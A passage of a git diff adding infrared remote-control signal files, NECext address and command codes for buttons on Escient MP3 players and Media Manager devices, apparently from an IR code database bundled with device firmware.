parsed +protocol: NECext +address: 01 16 00 00 +command: 0F 00 00 00 +# +name: JUKEBOX_MODE +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 11 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 11 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 12 00 00 00 +# +name: LAST +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 13 00 00 00 +# +name: OPTS +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 13 00 00 00 +# +name: OPTIONS/LAST +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 13 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 14 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 15 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 16 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 17 00 00 00 +# +name: CURSOR_OK +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 1A 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 1B 00 00 00 +# +name: VIEW +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 1C 00 00 00 +# +name: VIEW/MENU +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 1C 00 00 00 +# +name: BACKSPACE +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 20 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 21 00 00 00 +# +name: >>_SCAN +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 22 00 00 00 +# +name: SPACE +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 22 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 23 00 00 00 +# +name: MOVIES +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 26 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 28 00 00 00 +# +name: MUSIC +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 2C 00 00 00 +# +name: JUKEBOX_ADD +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 2D 00 00 00 +# +name: ADD +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 2D 00 00 00 +# +name: JUKEBOX_PLAY +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 2E 00 00 00 +# +name: FAVORITES_PLAY +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 2E 00 00 00 +# +name: JUKEBOX_RAND +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 2F 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 2F 00 00 00 +# +name: PREV +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 32 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 33 00 00 00 +# +name: PHOTOS +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 34 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/MP3 Player/14,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Escient/MP3 Player/14,-1.ir new file mode 100644 index 000000000..2609deac3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Escient/MP3 Player/14,-1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: EXIT +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 06 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 53 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/MP3 Player/15,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Escient/MP3 Player/15,-1.ir new file mode 100644 index 000000000..fcaa3b856 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Escient/MP3 Player/15,-1.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2E 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2F 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/MP3 Player/4,22.ir b/assets/resources/infrared/_CSV-IRDB_/Escient/MP3 Player/4,22.ir new file mode 100644 index 000000000..746c5d93c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Escient/MP3 Player/4,22.ir @@ -0,0 +1,104 @@ +Filetype: IR signals file +Version: 1 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 0D 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 10 00 00 00 +# +name: INPUT/SETUP +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 12 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 18 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 19 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 19 00 00 00 +# +name: OK/SELECT +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 1A 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 1A 00 00 00 +# +name: MENU/VIEW +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 1C 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 1C 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 21 00 00 00 +# +name: SPACE/FOREWARD +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 22 00 00 00 +# +name: MOVIES +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 26 00 00 00 +# +name: SEEK_BACK +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 29 00 00 00 +# +name: RAND +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 2F 00 00 00 +# +name: PREV +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 32 00 00 00 +# +name: HOME +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 34 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/Media Manager/1,22.ir b/assets/resources/infrared/_CSV-IRDB_/Escient/Media Manager/1,22.ir new file mode 100644 index 000000000..38437d76b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Escient/Media Manager/1,22.ir @@ -0,0 +1,644 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 00 00 00 00 +# +name: 1_./_?' +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 01 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 02 00 00 00 +# +name: 3_DEF +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 03 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 04 00 00 00 +# +name: 5_JKL +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 05 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 06 00 00 00 +# +name: 7_PQRS +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 07 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 08 00 00 00 +# +name: 9_WXYZ +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 09 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 09 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 0B 00 00 00 +# +name: CH_PAGE_UP +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 0D 00 00 00 +# +name: CH/PAGE_+ +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 0D 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 0D 00 00 00 +# +name: PAGE_DOWN +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 0E 00 00 00 +# +name: CH/PAGE_DOWN +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 0E 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 0F 00 00 00 +# +name: PWR +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 0F 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 10 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 11 00 00 00 +# +name: LAST_/_MODE +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 11 00 00 00 +# +name: MODE/LAST +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 11 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 12 00 00 00 +# +name: OPTIONS +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 13 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 14 00 00 00 +# +name: GUIDE_TOGGLE +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 14 00 00 00 +# +name: MENU_-_HOME +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 14 00 00 00 +# +name: OPEN_GLOBE +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 15 00 00 00 +# +name: GLOBE +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 15 00 00 00 +# +name: DISC_FLIP +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 15 00 00 00 +# +name: OPENGLOBE +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 15 00 00 00 +# +name: TOGGLE/EXIT +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 15 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 16 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 16 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 17 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 17 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 18 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 19 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 19 00 00 00 +# +name: CURSOR_OK +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 1A 00 00 00 +# +name: INFO_/_ALL +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 1B 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 1B 00 00 00 +# +name: MENU_/_VIEW +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 1C 00 00 00 +# +name: MENU/VIEW +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 1C 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 1C 00 00 00 +# +name: VIEW_TOGGLE +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 1C 00 00 00 +# +name: REW_/BACKSPACE +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 20 00 00 00 +# +name: REWIND/BACKSPACE +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 20 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 20 00 00 00 +# +name: BACKSPACE +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 20 00 00 00 +# +name: REWIND_BACKSPACE +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 20 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 21 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 22 00 00 00 +# +name: FF/SPACE +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 22 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 22 00 00 00 +# +name: SPACE +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 22 00 00 00 +# +name: FORWARD_SPACE +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 22 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 22 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 23 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 24 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 25 00 00 00 +# +name: MOVIES +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 26 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 28 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 29 00 00 00 +# +name: I-RADIO +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 2A 00 00 00 +# +name: I_RADIO +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 2A 00 00 00 +# +name: IRADIO +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 2A 00 00 00 +# +name: RADIO +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 2A 00 00 00 +# +name: MENU_-_RHAPSODY +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 2A 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 2B 00 00 00 +# +name: DISC_+ +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 2B 00 00 00 +# +name: JUKEBOX_NEXT +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 2B 00 00 00 +# +name: MUSIC +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 2C 00 00 00 +# +name: MENU_-_MUSIC +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 2C 00 00 00 +# +name: ADD_FAVORITES +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 2D 00 00 00 +# +name: ADD_TO_FAVORITES +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 2D 00 00 00 +# +name: JUKEBOX_ADD +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 2D 00 00 00 +# +name: PLAY_FAVOR +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 2E 00 00 00 +# +name: PLAY_(FAVORITES) +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 2E 00 00 00 +# +name: RAMDOM +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 2F 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 2F 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 30 00 00 00 +# +name: MACRO +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 31 00 00 00 +# +name: JUKEBOX_MACRO +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 31 00 00 00 +# +name: PREV +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 32 00 00 00 +# +name: JUKEBOX_PREVIOUS +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 32 00 00 00 +# +name: JUKEBOX_REPEAT +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 33 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 33 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 41 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 42 00 00 00 +# +name: PLAYMODE-NORMAL +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 43 00 00 00 +# +name: PLAYMODE-RPT_TRACK +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 44 00 00 00 +# +name: PLAYMODE-RPT_TITLE +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 45 00 00 00 +# +name: PLAYMODE-RPT_GROUP +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 46 00 00 00 +# +name: PLAYMODE-RAND_TITLE +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 47 00 00 00 +# +name: PLAYMODE-RAND_GROUP +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 48 00 00 00 +# +name: VIEW_BY_ARTIST +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 49 00 00 00 +# +name: VIEW_BY_TITLE +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 4A 00 00 00 +# +name: VIEW_BY_SONG +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 4B 00 00 00 +# +name: VIEW_BY_COVER +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 4C 00 00 00 +# +name: PLAYER +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 4D 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 4E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/Media Manager/15,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Escient/Media Manager/15,-1.ir new file mode 100644 index 000000000..f25518c32 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Escient/Media Manager/15,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/Media Manager/15,0.ir b/assets/resources/infrared/_CSV-IRDB_/Escient/Media Manager/15,0.ir new file mode 100644 index 000000000..6a5c7565b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Escient/Media Manager/15,0.ir @@ -0,0 +1,422 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 09 00 00 00 +# +name: PAGE_UP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 0D 00 00 00 +# +name: CH/PAGE_UP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 0D 00 00 00 +# +name: PAGE_DOWN +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 0E 00 00 00 +# +name: CH/PAGE_DOWN +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 0E 00 00 00 +# +name: CH/PAGE_DN +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 0E 00 00 00 +# +name: PAGE_DN +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 0E 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 0F 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 10 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 11 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 12 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 12 00 00 00 +# +name: OPTIONS +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 13 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 13 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 14 00 00 00 +# +name: OPEN_GLOBE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 14 00 00 00 +# +name: OPTIONS +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 14 00 00 00 +# +name: OPEN_GLOBE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 15 00 00 00 +# +name: . +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 15 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 16 00 00 00 +# +name: CURSER_UP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 16 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 17 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 18 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 19 00 00 00 +# +name: CURSOR_RT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 19 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 1A 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 1B 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 1B 00 00 00 +# +name: MENU/VIEW +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 1C 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 1C 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 20 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 20 00 00 00 +# +name: <<_/BACKSPACE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 20 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 21 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 22 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 22 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 23 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 24 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 24 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 25 00 00 00 +# +name: MOVIES +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 26 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 27 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 28 00 00 00 +# +name: RESUME +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 29 00 00 00 +# +name: I._RADIO +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2A 00 00 00 +# +name: I_RADIO +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2A 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2A 00 00 00 +# +name: RESUME +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2A 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2B 00 00 00 +# +name: ADD_FAVORITES +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2C 00 00 00 +# +name: FAVORITES_MUSIC +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2C 00 00 00 +# +name: FAVORITES_ADD +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2D 00 00 00 +# +name: PLAY_FAVORITES +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2E 00 00 00 +# +name: FAVORITES_PLAY +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2E 00 00 00 +# +name: FAVS_PLAY +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2E 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2F 00 00 00 +# +name: FAVORITES_RANDOM +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2F 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: AE 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: AE 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: AE 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: BF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/Media Manager/2,22.ir b/assets/resources/infrared/_CSV-IRDB_/Escient/Media Manager/2,22.ir new file mode 100644 index 000000000..9035dffca --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Escient/Media Manager/2,22.ir @@ -0,0 +1,338 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 09 00 00 00 +# +name: CH/PAGE_- +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 0E 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 0F 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 10 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 11 00 00 00 +# +name: MENU_-_SETUP +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 12 00 00 00 +# +name: OPTIONS +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 13 00 00 00 +# +name: GUIDE_TOGGLE +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 14 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 16 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 18 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 18 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 19 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 1A 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 1B 00 00 00 +# +name: VIEW_TOGGLE +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 1C 00 00 00 +# +name: DVD_MENU +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 1C 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 20 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 21 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 22 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 23 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 24 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 25 00 00 00 +# +name: MENU_-_MOVIES +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 26 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 28 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 29 00 00 00 +# +name: IRADIO +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 2A 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 2B 00 00 00 +# +name: MUSIC +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 2C 00 00 00 +# +name: ADD_TO_FAVORITES +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 2D 00 00 00 +# +name: JUKEBOX_PLAY +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 2E 00 00 00 +# +name: DISC_- +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 32 00 00 00 +# +name: PREV +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 32 00 